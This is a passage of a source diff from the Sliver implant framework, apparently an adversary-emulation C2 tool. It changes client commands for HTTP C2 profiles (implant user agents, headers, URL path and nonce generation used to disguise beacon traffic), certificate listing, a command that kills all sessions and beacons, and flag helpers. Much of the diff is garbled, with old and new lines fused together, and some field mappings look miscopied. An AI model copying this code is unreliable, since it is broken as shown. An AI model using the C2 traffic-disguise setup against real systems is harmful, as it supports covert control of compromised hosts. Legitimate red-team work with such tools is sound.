con.PrintErrorf("%s\n", err)
return
}
// save or display config
importC2Profile, err := cmd.Flags().GetBool("import")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if importC2Profile {
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{C2Config: C2ConfigToProtobuf(profileName, jsonProfile)}
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
return return
} }
con.Println("C2 profile generated and saved as ", profileName) // reload jobs to include new profile
} else { for _, job := range jobs.Active {
PrintC2Profiles(C2ConfigToProtobuf(profileName, jsonProfile), con) if job != nil && slices.Contains(protocols, job.Name) {
} restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
} }
}
// convert protobuf to json _, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) { if err != nil {
implantConfig := assets.HTTPC2ImplantConfig{ con.PrintErrorf("%s\n", err)
UserAgent: profile.ImplantConfig.UserAgent, return
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
MacOSVersion: profile.ImplantConfig.MacOSVersion,
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
NonceQueryLength: int(profile.ImplantConfig.NonceQueryLength),
NonceMode: profile.ImplantConfig.NonceMode,
MaxFileGen: int(profile.ImplantConfig.MaxFileGen),
MinFileGen: int(profile.ImplantConfig.MinFileGen),
MaxPathGen: int(profile.ImplantConfig.MaxPathGen),
MinPathGen: int(profile.ImplantConfig.MinFileGen),
MaxPathLength: int(profile.ImplantConfig.MaxPathLength),
MinPathLength: int(profile.ImplantConfig.MinPathLength),
Extensions: profile.ImplantConfig.Extensions,
}
var headers []assets.NameValueProbability
for _, header := range profile.ImplantConfig.Headers {
headers = append(headers, assets.NameValueProbability{
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
Method: header.Method,
})
}
implantConfig.Headers = headers
var urlParameters []assets.NameValueProbability
for _, urlParameter := range profile.ImplantConfig.ExtraURLParameters {
urlParameters = append(urlParameters, assets.NameValueProbability{
Name: urlParameter.Name,
Value: urlParameter.Value,
Probability: int(urlParameter.Probability),
})
}
implantConfig.URLParameters = urlParameters
var (
files []string
paths []string
)
for _, pathSegment := range profile.ImplantConfig.PathSegments {
if pathSegment.IsFile {
files = append(files, pathSegment.Value)
} else {
paths = append(paths, pathSegment.Value)
} }
} }
implantConfig.Files = files
implantConfig.Paths = paths
var serverHeaders []assets.NameValueProbability
for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, assets.NameValueProbability{
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
Method: header.Method,
})
}
var serverCookies []string
for _, cookie := range profile.ServerConfig.Cookies {
serverCookies = append(serverCookies, cookie.Name)
}
serverConfig := assets.HTTPC2ServerConfig{
RandomVersionHeaders: profile.ServerConfig.RandomVersionHeaders,
Headers: serverHeaders,
Cookies: serverCookies,
}
config := assets.HTTPC2Config{
ImplantConfig: implantConfig,
ServerConfig: serverConfig,
}
return &config, nil
} }
// convert json to protobuf // convert json to protobuf
@@ -317,66 +131,101 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
pathSegments := []*clientpb.HTTPC2PathSegment{} pathSegments := []*clientpb.HTTPC2PathSegment{}
// files // files
for _, file := range config.ImplantConfig.Files { for _, poll := range config.ImplantConfig.PollFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{ pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true, IsFile: true,
Value: file, SegmentType: 0,
Value: poll,
}) })
} }
for _, path := range config.ImplantConfig.Paths { for _, session := range config.ImplantConfig.SessionFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{ pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false, IsFile: true,
Value: path, SegmentType: 1,
Value: session,
}) })
} }
for _, clientHeader := range config.ImplantConfig.Headers { for _, close := range config.ImplantConfig.CloseFiles {
httpC2Headers = append(httpC2Headers, &clientpb.HTTPC2Header{ pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
Method: clientHeader.Method, IsFile: true,
Name: clientHeader.Name, SegmentType: 2,
Value: clientHeader.Value, Value: close,
Probability: int32(clientHeader.Probability),
}) })
} }
for _, urlParameter := range config.ImplantConfig.URLParameters { for _, stager := range config.ImplantConfig.StagerFiles {
httpC2UrlParameters = append(httpC2UrlParameters, &clientpb.HTTPC2URLParameter{ pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
Method: urlParameter.Method, IsFile: true,
Name: urlParameter.Name, SegmentType: 3,
Value: urlParameter.Value, Value: stager,
Probability: int32(urlParameter.Probability), })
}
// paths
for _, poll := range config.ImplantConfig.PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
}) })
} }
implantConfig := &clientpb.HTTPC2ImplantConfig{ implantConfig := &clientpb.HTTPC2ImplantConfig{
UserAgent: config.ImplantConfig.UserAgent, UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion), ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion, MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars, NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
NonceQueryLength: int32(config.ImplantConfig.NonceQueryLength), ExtraURLParameters: httpC2UrlParameters,
NonceMode: config.ImplantConfig.NonceMode, Headers: httpC2Headers,
ExtraURLParameters: httpC2UrlParameters, MaxFiles: int32(config.ImplantConfig.MaxFiles),
Headers: httpC2Headers, MinFiles: int32(config.ImplantConfig.MinFiles),
MaxFileGen: int32(config.ImplantConfig.MaxFileGen), MaxPaths: int32(config.ImplantConfig.MaxPaths),
MinFileGen: int32(config.ImplantConfig.MinFileGen), MinPaths: int32(config.ImplantConfig.MinFiles),
MaxPathGen: int32(config.ImplantConfig.MaxPathGen), StagerFileExtension: config.ImplantConfig.StagerFileExt,
MinPathGen: int32(config.ImplantConfig.MinPathGen), PollFileExtension: config.ImplantConfig.PollFileExt,
MaxPathLength: int32(config.ImplantConfig.MaxPathLength), StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
MinPathLength: int32(config.ImplantConfig.MinPathLength), SessionFileExtension: config.ImplantConfig.SessionFileExt,
Extensions: config.ImplantConfig.Extensions, CloseFileExtension: config.ImplantConfig.CloseFileExt,
PathSegments: pathSegments, PathSegments: pathSegments,
} }
// Server Config // Server Config
serverHeaders := []*clientpb.HTTPC2Header{} serverHeaders := []*clientpb.HTTPC2Header{}
for _, serverHeader := range config.ServerConfig.Headers { for _, serverHeader := range config.ServerConfig.Headers {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{ for _, method := range serverHeader.Methods {
Method: serverHeader.Method, serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Name: serverHeader.Name, Method: method,
Value: serverHeader.Value, Name: serverHeader.Name,
Probability: int32(serverHeader.Probability), Value: serverHeader.Value,
}) Probability: int32(serverHeader.Probability),
})
}
} }
serverCookies := []*clientpb.HTTPC2Cookie{} serverCookies := []*clientpb.HTTPC2Cookie{}
@@ -399,7 +248,7 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
} }
// PrintImplantBuilds - Print the implant builds on the server // PrintImplantBuilds - Print the implant builds on the server
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient) { func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
@@ -419,7 +268,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
var serverHeaders []string var serverHeaders []string
for _, header := range profile.ServerConfig.Headers { for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, header.Name) serverHeaders = append(serverHeaders, header.Value)
} }
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Server Headers", "Server Headers",
@@ -444,7 +293,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
var clientHeaders []string var clientHeaders []string
for _, header := range profile.ImplantConfig.Headers { for _, header := range profile.ImplantConfig.Headers {
clientHeaders = append(clientHeaders, header.Name) clientHeaders = append(clientHeaders, header.Value)
} }
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Client Headers", "Client Headers",
@@ -475,65 +324,96 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
"Nonce query arg chars", "Nonce query arg chars",
profile.ImplantConfig.NonceQueryArgChars, profile.ImplantConfig.NonceQueryArgChars,
}) })
tw.AppendRow(table.Row{
"Nonce query length",
profile.ImplantConfig.NonceQueryLength,
})
tw.AppendRow(table.Row{
"Nonce mode",
profile.ImplantConfig.NonceMode,
})
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Max files", "Max files",
profile.ImplantConfig.MaxFileGen, profile.ImplantConfig.MaxFiles,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Min files", "Min files",
profile.ImplantConfig.MinFileGen, profile.ImplantConfig.MinFiles,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Max paths", "Max paths",
profile.ImplantConfig.MaxPathGen, profile.ImplantConfig.MaxPaths,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Min paths", "Min paths",
profile.ImplantConfig.MinPathGen, profile.ImplantConfig.MinPaths,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Max path length", "Stager file extension",
profile.ImplantConfig.MaxPathLength, profile.ImplantConfig.StagerFileExtension,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Min path length", "Start session file extension",
profile.ImplantConfig.MinPathLength, profile.ImplantConfig.StartSessionFileExtension,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"File extensions", "Session file extension",
strings.Join(profile.ImplantConfig.Extensions, ","), profile.ImplantConfig.SessionFileExtension,
})
tw.AppendRow(table.Row{
"Poll file extension",
profile.ImplantConfig.PollFileExtension,
})
tw.AppendRow(table.Row{
"Close file extension",
profile.ImplantConfig.CloseFileExtension,
}) })
var ( var (
paths []string pollPaths []string
files []string pollFiles []string
sessionPaths []string
sessionFiles []string
closePaths []string
closeFiles []string
) )
for _, segment := range profile.ImplantConfig.PathSegments { for _, segment := range profile.ImplantConfig.PathSegments {
if segment.IsFile { if segment.IsFile {
files = append(files, segment.Value) switch segment.SegmentType {
case 0:
pollFiles = append(pollFiles, segment.Value)
case 1:
sessionFiles = append(sessionFiles, segment.Value)
case 2:
closeFiles = append(closeFiles, segment.Value)
}
} else { } else {
paths = append(paths, segment.Value) switch segment.SegmentType {
case 0:
pollPaths = append(pollPaths, segment.Value)
case 1:
sessionPaths = append(sessionPaths, segment.Value)
case 2:
closePaths = append(closePaths, segment.Value)
}
} }
} }
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Paths", "Poll paths",
strings.Join(paths[:], ",")[:50] + "...", strings.Join(pollPaths[:], ","),
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Files", "Poll files",
strings.Join(files[:], ",")[:50] + "...", strings.Join(pollFiles[:], ","),
})
tw.AppendRow(table.Row{
"Session paths",
strings.Join(sessionPaths[:], ","),
})
tw.AppendRow(table.Row{
"Session files",
strings.Join(sessionFiles[:], ","),
})
tw.AppendRow(table.Row{
"Close paths",
strings.Join(closePaths[:], ","),
})
tw.AppendRow(table.Row{
"Close files",
strings.Join(closeFiles[:], ","),
}) })
con.Println(tw.Render()) con.Println(tw.Render())
@@ -555,59 +435,3 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
return c2profile return c2profile
} }
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
// update the template with the urls
var (
paths []string
filenames []string
extensions []string
)
for _, urlPath := range urls {
parsedURL, err := url.Parse(urlPath)
if err != nil {
fmt.Println("Error parsing URL:", err)
continue
}
dir, file := path.Split(parsedURL.Path)
dir = strings.Trim(dir, "/")
if dir != "" {
paths = append(paths, strings.Split(dir, "/")...)
}
if file != "" {
fileName := strings.TrimSuffix(file, filepath.Ext(file))
filenames = append(filenames, fileName)
ext := strings.TrimPrefix(filepath.Ext(file), ".")
if ext != "" {
extensions = append(extensions, ext)
}
}
}
slices.Sort(extensions)
extensions = slices.Compact(extensions)
slices.Sort(paths)
paths = slices.Compact(paths)
slices.Sort(filenames)
filenames = slices.Compact(filenames)
// 5 is arbitrarily used as a minimum value
if len(paths) < 5 {
return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
}
if len(filenames) < 5 {
return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
}
template.ImplantConfig.Extensions = extensions
template.ImplantConfig.Paths = paths
template.ImplantConfig.Files = filenames
return template, nil
}
-91
View File
@@ -1,91 +0,0 @@
package c2profiles
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
importC2ProfileCmd := &cobra.Command{
Use: consts.ImportC2ProfileStr,
Short: "Import HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
ImportC2ProfileCmd(cmd, con, args)
},
}
flags.Bind(consts.ImportC2ProfileStr, false, importC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
f.StringP("file", "f", "", "Path to C2 configuration file to import")
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
})
exportC2ProfileCmd := &cobra.Command{
Use: consts.ExportC2ProfileStr,
Short: "Export HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ExportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
ExportC2ProfileCmd(cmd, con, args)
},
}
flags.Bind(consts.ExportC2ProfileStr, false, exportC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
})
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
C2ProfileCmd := &cobra.Command{
Use: consts.C2ProfileStr,
Short: "Display C2 profile details",
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
C2ProfileCmd(cmd, con, args)
},
GroupID: consts.NetworkHelpGroup,
}
flags.Bind(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile to display")
})
flags.BindFlagCompletions(C2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
generateC2ProfileCmd := &cobra.Command{
Use: consts.C2GenerateStr,
Short: "Generate a C2 Profile from a list of urls",
Long: help.GetHelpFor([]string{consts.C2ProfileStr + "." + consts.C2GenerateStr}),
Run: func(cmd *cobra.Command, args []string) {
GenerateC2ProfileCmd(cmd, con, args)
},
}
flags.Bind(consts.GenerateStr, false, generateC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("file", "f", "", "Path to file containing URL list, /hello/there.txt one per line")
f.BoolP("import", "i", false, "Import the generated profile after creation")
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
})
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["template"] = generate.HTTPC2Completer(con)
})
C2ProfileCmd.AddCommand(generateC2ProfileCmd)
C2ProfileCmd.AddCommand(importC2ProfileCmd)
C2ProfileCmd.AddCommand(exportC2ProfileCmd)
return []*cobra.Command{
C2ProfileCmd,
}
}
-181
View File
@@ -1,181 +0,0 @@
package certificates
import (
"context"
"fmt"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/term"
)
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
const (
timeFormat = "2006-01-02 15:04:05 UTC-0700"
)
// Defining the transport filters
const (
MTLSTransport uint32 = 1 << iota
HTTPSTransport
AllTransports
)
// Defining the role filters
const (
// Provide some separation between the options so that we do not have duplicate combinations
ServerRole uint32 = 8 << iota
ImplantRole
AllRoles
)
func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// Since we are sending this value in a protobuf, we will give it a fixed bit size
// 32 is the smallest we can go
var chosenOptions uint32
if cmd.Flags().Changed("mtls") {
if cmd.Flags().Changed("https") {
chosenOptions = AllTransports
} else {
chosenOptions = MTLSTransport
}
} else if cmd.Flags().Changed("https") {
chosenOptions = HTTPSTransport
} else {
chosenOptions = AllTransports
}
if cmd.Flags().Changed("server") {
if cmd.Flags().Changed("implant") {
chosenOptions |= AllRoles
} else {
chosenOptions |= ServerRole
}
} else if cmd.Flags().Changed("implant") {
chosenOptions |= ImplantRole
} else {
chosenOptions |= AllRoles
}
request := &clientpb.CertificatesReq{
CategoryFilters: chosenOptions,
}
request.CN, _ = cmd.Flags().GetString("cn")
// Ask the server for information about certificates
certificateInfo, err := con.Rpc.GetCertificateInfo(context.Background(), request)
if err != nil {
con.PrintErrorf("could not get certificate information from database: %s", err.Error())
return
}
printCertificateInfo(con, certificateInfo.Info)
}
func checkCertExpiry(expiryTime time.Time) string {
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
return console.Bold + console.Red
}
// One week is 168 hours - this is bad
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
return console.Bold + console.Red
}
// One month is approximately 730 hours - this is a warning
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
return console.Bold + console.Orange
}
return console.Normal
}
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
// Get the terminal width
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
if len(certData) == 0 {
con.PrintWarnf("There are no certificates in the database matching the given parameters.\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Common Name",
"Creation Time",
"Certificate Type",
"Key Algorithm",
"Validity Start",
"Expires",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Common Name",
"Expires",
})
}
for _, cert := range certData {
rowColor := console.Normal
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
// This should not error out, but if it does, the row will not be colored
if err == nil {
rowColor = checkCertExpiry(expiry)
}
if wideTermWidth {
tw.AppendRow(table.Row{
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CreationTime),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.Type),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.KeyAlgorithm),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityStart),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
})
}
}
tw.SortBy([]table.SortBy{{Name: "Expires", Mode: table.Dsc}})
con.Printf("%s\n", tw.Render())
}
-51
View File
@@ -1,51 +0,0 @@
package certificates
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
func Commands(con *console.SliverClient) []*cobra.Command {
certificatesCmd := &cobra.Command{
Use: consts.CertificatesStr,
Short: "Certificate management",
Long: help.GetHelpFor([]string{consts.CertificatesStr}),
Run: func(cmd *cobra.Command, args []string) {
CertificateInfoCmd(cmd, con, args)
},
GroupID: consts.GenericHelpGroup,
}
flags.Bind(consts.CertificatesStr, false, certificatesCmd, func(f *pflag.FlagSet) {
f.BoolP("mtls", "m", false, "Show MTLS certificates")
f.BoolP("https", "p", false, "Show HTTPS certificates")
f.BoolP("implant", "i", false, "Show implant certificates")
f.BoolP("server", "s", false, "Show server certificates")
f.StringP("cn", "c", "", "Show certificate information for a provided common name")
})
return []*cobra.Command{
certificatesCmd,
}
}
-141
View File
@@ -1,141 +0,0 @@
package clean
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
)
// CleanCmd - Remove all profiles, beacons, sessions and implant builds (Builds and logs will still exist on disk in .sliver)
func CleanCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.Printf("This command will kill and remove all sessions, beacons and profiles \n")
confirm := false
prompt := &survey.Confirm{Message: "Are you sure you want to destroy everything?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := removeSessionsAndBeacons(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = removeImplantBuilds(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = removeProfiles(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("All done !\n")
}
func removeImplantBuilds(con *console.SliverClient) error {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for name, _ := range builds.Configs {
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: name,
})
if err != nil {
return err
}
}
return nil
}
func removeProfiles(con *console.SliverClient) error {
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for _, profile := range profiles.Profiles {
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: profile.Name,
})
if err != nil {
return err
}
}
return nil
}
func removeSessionsAndBeacons(con *console.SliverClient) error {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for _, session := range sessions.Sessions {
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: flags.DefaultTimeout,
},
Force: false,
})
if err != nil {
return err
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for _, beacon := range beacons.Beacons {
_, err = con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
return err
}
}
return nil
}
// Commands returns the `exit` command.
func Command(con *console.SliverClient) []*cobra.Command {
return []*cobra.Command{{
Use: "clean",
Short: "Remove all profiles, beacons, sessions, implant builds and HTTP profiles (Builds and logs will still exist on disk in .sliver)",
Run: func(cmd *cobra.Command, args []string) {
CleanCmd(cmd, con, args)
},
GroupID: constants.GenericHelpGroup,
}}
}
+12 -69
View File
@@ -21,18 +21,19 @@ package command
import ( import (
"strings" "strings"
client "github.com/bishopfox/sliver/client/console"
"github.com/reeflective/console" "github.com/reeflective/console"
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/spf13/pflag" "github.com/spf13/pflag"
) )
// Bind is a convenience function to bind flags to a given command. const defaultTimeout = 60
// Flags is a convenience function to bind flags to a given command.
// name - The name of the flag set (can be empty). // name - The name of the flag set (can be empty).
// cmd - The command to which the flags should be bound. // cmd - The command to which the flags should be bound.
// flags - A function exposing the flag set through which flags are declared. // flags - A function exposing the flag set through which flags are declared.
func Bind(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) {
flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set. flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set.
flags(flagSet) // Let the user bind any number of flags to it. flags(flagSet) // Let the user bind any number of flags to it.
@@ -43,21 +44,22 @@ func Bind(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.
} }
} }
// BindFlagCompletions is a convenience function for adding completions to a command's flags. // FlagComps is a convenience function for adding completions to a command's flags.
// cmd - The command owning the flags to complete. // cmd - The command owning the flags to complete.
// bind - A function exposing a map["flag-name"]carapace.Action. // bind - A function exposing a map["flag-name"]carapace.Action.
func BindFlagCompletions(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { func FlagComps(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) {
comps := make(carapace.ActionMap) comps := make(carapace.ActionMap)
bind(&comps) bind(&comps)
carapace.Gen(cmd).FlagCompletion(comps) carapace.Gen(cmd).FlagCompletion(comps)
} }
// RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key // hideCommand generates a cobra annotation map with a single
// to a comma-separated list of filters to use in order to expose/hide commands based on requirements. // console.CommandHiddenFilter key, which value is a comma-separated list
// Ex: cmd.Annotations = RestrictTargets("windows") will only show the command if the target is Windows. // of filters to use in order to expose/hide commands based on requirements.
// Ex: cmd.Annotations = RestrictTargets("windows", "beacon") show the command if target is a beacon on Windows. // Ex: cmd.Annotations = hideCommand("windows") will hide the cmd
func RestrictTargets(filters ...string) map[string]string { // if the target session/beacon is not a Windows host.
func hideCommand(filters ...string) map[string]string {
if len(filters) == 0 { if len(filters) == 0 {
return nil return nil
} }
@@ -74,62 +76,3 @@ func RestrictTargets(filters ...string) map[string]string {
console.CommandFilterKey: filts, console.CommandFilterKey: filts,
} }
} }
// makeBind returns a commandBinder helper function
// @menu - The command menu to which the commands should be bound (either server or implant menu).
func makeBind(cmd *cobra.Command, con *client.SliverClient) func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) {
return func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) {
found := false
// Ensure the given command group is available in the menu.
if group != "" {
for _, grp := range cmd.Groups() {
if grp.Title == group {
found = true
break
}
}
if !found {
cmd.AddGroup(&cobra.Group{
ID: group,
Title: group,
})
}
}
// Bind the command to the root
for _, command := range cmds {
cmd.AddCommand(command(con)...)
}
}
}
// commandBinder is a helper used to bind commands to a given menu, for a given "command help group".
//
// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package.
// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function.
// type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command)
// [ Core ]
// [ Sessions ]
// [ Execution ]
// [ Filesystem ]
// [ Info ]
// [ Network (C2)]
// [ Network tools ]
// [ Payloads ]
// [ Privileges ]
